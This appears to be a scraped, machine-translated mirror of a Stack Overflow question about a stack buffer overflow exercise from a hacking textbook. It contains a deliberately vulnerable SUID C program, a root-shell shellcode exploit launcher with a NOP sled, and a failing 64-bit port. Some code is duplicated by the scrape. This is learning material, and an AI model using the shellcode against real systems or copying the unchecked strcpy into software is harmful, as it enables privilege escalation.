Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/60.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 基于堆栈的缓冲区溢出利用漏洞确定偏移和对齐-Ubuntu 16.04.1 x86_64_C_Linux_Assembly_Memory_Stack Overflow - Fatal编程技术网

C 基于堆栈的缓冲区溢出利用漏洞确定偏移和对齐-Ubuntu 16.04.1 x86_64

C 基于堆栈的缓冲区溢出利用漏洞确定偏移和对齐-Ubuntu 16.04.1 x86_64,c,linux,assembly,memory,stack-overflow,C,Linux,Assembly,Memory,Stack Overflow,免责声明:我相信我粘贴的许多代码都是不必要的(例如notesearch程序中的函数,以及漏洞利用中的更改),但为了清晰起见,我将其包括在内。我不想用这篇长文章吓跑任何人,我想我应该事先给出一个解释 我目前正在读乔恩·埃里克森的《黑客:剥削的艺术》一书。这本书附带了一个虚拟机,旨在确保为示例提供一个稳定的工作环境,但我决定尝试在自己的环境中读完这本书,以挑战我对材料的理解 我目前正在阅读有关基于堆栈的缓冲区溢出、利用未检查的缓冲区重写函数的返回地址、放下NOP底座以及执行外壳代码的文章。我们正在开

免责声明:我相信我粘贴的许多代码都是不必要的(例如notesearch程序中的函数,以及漏洞利用中的更改),但为了清晰起见,我将其包括在内。我不想用这篇长文章吓跑任何人,我想我应该事先给出一个解释

我目前正在读乔恩·埃里克森的《黑客:剥削的艺术》一书。这本书附带了一个虚拟机,旨在确保为示例提供一个稳定的工作环境,但我决定尝试在自己的环境中读完这本书,以挑战我对材料的理解

我目前正在阅读有关基于堆栈的缓冲区溢出、利用未检查的缓冲区重写函数的返回地址、放下NOP底座以及执行外壳代码的文章。我们正在开发的计划如下:

    #include <stdio.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include "hacking.h"

    #define FILENAME "/var/notes"

    int print_notes(int, int, char*);   // Note printing function
    int find_user_note(int, int);       // Seek in file for a note for user.
    int search_note(char*, char*);      // Search for keyword function.
    void fatal(char*);                  // Fatal error handler

    int main(int argc, char *argv[]) {
      int userid, printing=1, fd; // File descriptor
      char searchstring[100];

      if(argc > 1)
        strcpy(searchstring, argv[1]);
      else
        searchstring[0] = 0;

      userid = getuid();
      fd = open(FILENAME, O_RDONLY);
      if(fd == -1)
        fatal("in main() while opening file for reading");

char searchstring[100];
      while(printing)
        printing = print_notes(fd, userid, searchstring);
      printf("-------[ end of note data ]-------\n");
      close(fd);
    }

// A function to print the notes for a given uid that match
// an optional search string;
// rturns 0 at ed of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
  int note_length;
  char byte = 0, note_buffer[100];

  note_length = find_user_note(fd, uid);
  if(note_length == -1)
    return 0;

  read(fd, note_buffer, note_length);
  note_buffer[note_length] = 0;

  if(search_note(note_buffer, searchstring))
    printf(note_buffer);
  return 1;
}

// A function to find the next note for a given userID
// returns -1 if the end of the file is erached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
  int note_uid = -1;
  unsigned char byte;
  int length;

  while(note_uid != user_uid) {
    if(read(fd, &note_uid, 4) != 4) // Read the uid data.
      return -1; // If 4 bytes aren't read, return end of file code.
    if(read(fd, &byte, 1) != 1) // Read the newline separator.
      return -1;

    byte = length = 0;
    while(byte != '\n') { // Figure out how many bytes to the end of line
      if(read(fd, &byte, 1) != 1) // Read a single byte.
    return -1;
      length++;
    }
  }
  lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.

  printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
  return length;
}

// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
  int i, keyword_length, match=0;

  keyword_length = strlen(keyword);
  if(keyword_length == 0)
    return 1;

  for(i = 0; i < strlen(note); i++) {
      if(note[i] = keyword[match])
    match++;
      else {
    if(note[i] == keyword[0]) // if that byte matches first keyword byte,
      match = 1;
    else
      match = 0;
      }
      if(match == keyword_length)
    return 1;
  }
  return 0;
}
攻击者可以写入超过此缓冲区结尾的内容并覆盖返回地址。该程序附带一个记事本程序,并且假定/var/notes存在,并且该程序是SUID root,以便允许访问该目录

本书提供了以下代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}
我认为这可能是由于构建缓冲区时返回地址未对齐,因此我尝试将for循环中I的初始值更改为4,然后更改为8,然后更改为12,但这些方法都没有给我不同的结果。我进一步尝试将偏移量的值更改为理论极限,但这也不起作用

我的问题是,我在计算中做错了什么?我怀疑缓冲区没有被写入我认为它所在的位置,因为在程序的初始测试中,我进入系统调用而不是独立运行它,我没有看到缓冲区出现在堆栈上。也有可能我完全忽略了堆栈框架的构造方式,或者程序编译中的一些其他复杂性


那么,我做错了什么,我如何才能将我的方法改为更一般化的方法,以便在将来做正确的事情?

***检测到堆栈破坏***
-另请参阅,因此您必须要求用户关闭堆栈保护,才能使用此漏洞?;)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

char shellcode[]=
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  uint64_t i, ret, offset=256;
  char *command, *buffer;

  command = (char *) malloc(400);
  bzero(command, 400); // Zero out the new memory.

  strcpy(command, "./notesearch \'"); // Start the command buffer.
  buffer = command + strlen(command); // Set the buffer at the end.

  if(argc > 1) // Set offset.
    offset = atoi(argv[1]);

  ret = (uint64_t) &i -  offset; // Set return address.

  for(i=0; i < 376; i+=8) // Fill buffer with return address.
    *((uint64_t *) buffer + i) = ret;
  memset(buffer, 0x90, 200); // Build NOP sled.
  memcpy(buffer+200, shellcode, sizeof(shellcode)-1);

  strcat(command, "\'");

  system(command); // Run exploit.
  free(command);
}
[DEBUG] found a 7 byte note for user id 1000                                                                                         
-------[ end of note data ]-------                                                                                                   
*** stack smashing detected ***: ./notesearch terminated                                                                             
Aborted (core dumped)